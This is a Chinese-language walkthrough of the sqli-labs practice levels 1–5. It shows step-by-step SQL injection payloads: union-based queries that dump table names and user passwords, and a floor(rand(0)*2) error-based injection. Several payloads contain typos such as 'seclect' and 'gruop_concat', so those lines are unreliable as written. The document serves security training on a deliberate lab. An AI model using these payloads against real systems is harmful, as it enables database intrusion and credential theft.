sqllib1-5

sqllib1-5

十一月 23, 2021

![picture](D:\p\picture\屏幕截图 2021-10-19 191622.png)

题目提示让我们给id一个数字的值,那就让id=1

![picture](D:\p\picture\屏幕截图 2021-10-19 191848.png)

能成功查询,接下来就是判断注点

尝试id=1‘

![picture](D:\p\picture\屏幕截图 2021-10-19 192146.png)

报错了很好,说明找到了注点,用’闭合后 报错 ,知道where id=’’,是字符类型的注入

用union联合注入,但前提条件是联合的两个表列数相同,所以先用order by

判断列数

构造playload

1
2
?id=1' order by 1...--+ /*为什么要用--+(也就是-- ),在输入?id=1'
后php中的sql查询语句会变成where id = '1'',有一个'会都出导致报错,这时我们在1’的后面添加sql查询语句会被都出的'注释为id的值:where id='1'sql语句',所以要用注释符把多出的'注释掉,php就能正确识别sql查询语句了

order by 后面的数字不断增加直到报错为止

![picture](D:\p\picture\屏幕截图 2021-10-19 195701.png)

到4报错了,说明列数有3列

接下来就是判断回显点

构造playload

1
?id=-1' union select 1,2,3 --+

![picture](D:\p\picture\屏幕截图 2021-10-19 201147.png)

发现显示了2和3,说明回显点在2,3号位

接下来就是爆数据库名,要用到databa()sql的元数据

构造playload

1
?id=-1' union select 1,2,database()--+; //database()位置在2,3都没关系

![picture](D:\p\picture\屏幕截图 2021-10-19 201754.png)

这样就得到了数据库名为security

接着就是爆表名

首先得知道mysql自带的表

information_schema.schemata:记录数据库信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
schema_name 数据库名
table_name 表名
column_name 列名
table_schema 数据库名

构造playload

1
?id=-1' union seclect 1,2,gruop_concat(table.name) from information_schema.tables where table_schema='security'|database()--+//sql查询语句的意思是在记录表名信息的表中查询当前数据库下的所有表,group_concat的作用是去除冗余的数据并合并成一行输出,因为这道只有一行的回显点

![picture](D:\p\picture\屏幕截图 2021-10-19 203543.png)

查到了表名,用户的账号密码肯定是在users的表里,但我们要查询还需要知道

表里有什么字段所以接下是爆字段

构造playload

1
?id=-1' union seclec 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+//从所有列名的表中查找表名为users的列

![picture](D:\p\picture\屏幕截图 2021-10-19 205422.png)

找到列username,password

接着用sql语句查询他们的值

构造playload

1
?id=-1' union select 1,2,group_concat(password,username) from users--+

![picture](D:\p\picture\屏幕截图 2021-10-19 210030.png)

查询成功

![picture](D:\p\picture\屏幕截图 2021-10-19 210153.png)

题目要求和第一题一样

首先找注点

尝试id=1

![picture](D:\p\picture\屏幕截图 2021-10-19 210418.png)

成功

再尝试?id=1’

![picture](D:\p\picture\屏幕截图 2021-10-19 210615.png)

从报错中看出php中的sql语句是where id=

说明是数字型的注入因为用的是同一张表所以playload只是注点不同,其他都相同

构造playload

1
?id=-1 union select 1,2,group_concat(password,username) from users--+

后面不加注释因为没有需要被注释的字符

picture

查询成功

picture

同样先尝试id=1

picture

成功

接着尝试id=1’

picture

发现报错的和第一题很相似,尝试用第一题的playload试一下

picture

寄了

再仔细看下报错信息

image-20211019212355663

发现问题了,比第一题多了一个)也就是说多了一个()的闭合,而我们只闭合**’**

所以注点要变成id=-1‘)尝试一下

picture

やったぜ

picture

一样先尝试id=1

image-20211019213352241

成功

再尝试id=1’

image-20211019213538450

居然成功了

再试试id=1“

image-20211019213814592

成功报错了,看来这次是”“闭合

构造playload

等一下

image-20211019213955043

还有一个)

那就和第三题差不多

1
?id=-1")  union select 1,2,group_concat(password,username) from users--+

image-20211019214257823

ok

image-20211019214406388

老套路

image-20211019214532459

有点不太一样,不管先试试id=1’

image-20211019214733943

报错能显示出来

看的注入点是字符’闭合

但没有写回

那就试试floor(rand(0)*2)报错注入

用group by的重复

floor(rand(0)*2)的作用是伪随机生成0,1

groupby函数在起作用时会新建一个表来存数据,并会执行两次用floor(rand(0)*2)会产生两个一的时候就会键名重复报错并会输出在groupby中的sql语句

构造playload

1
?id=-1' union select count(*),count(*),concat('~',floor(rand(0)*2),(select username from users limit 0,1)) as a from information_schema.table group by a--+//count()和groupby一起使用报错注入中无法使用group_concat所以用limit来限制行数

image-20211019220805119

成功.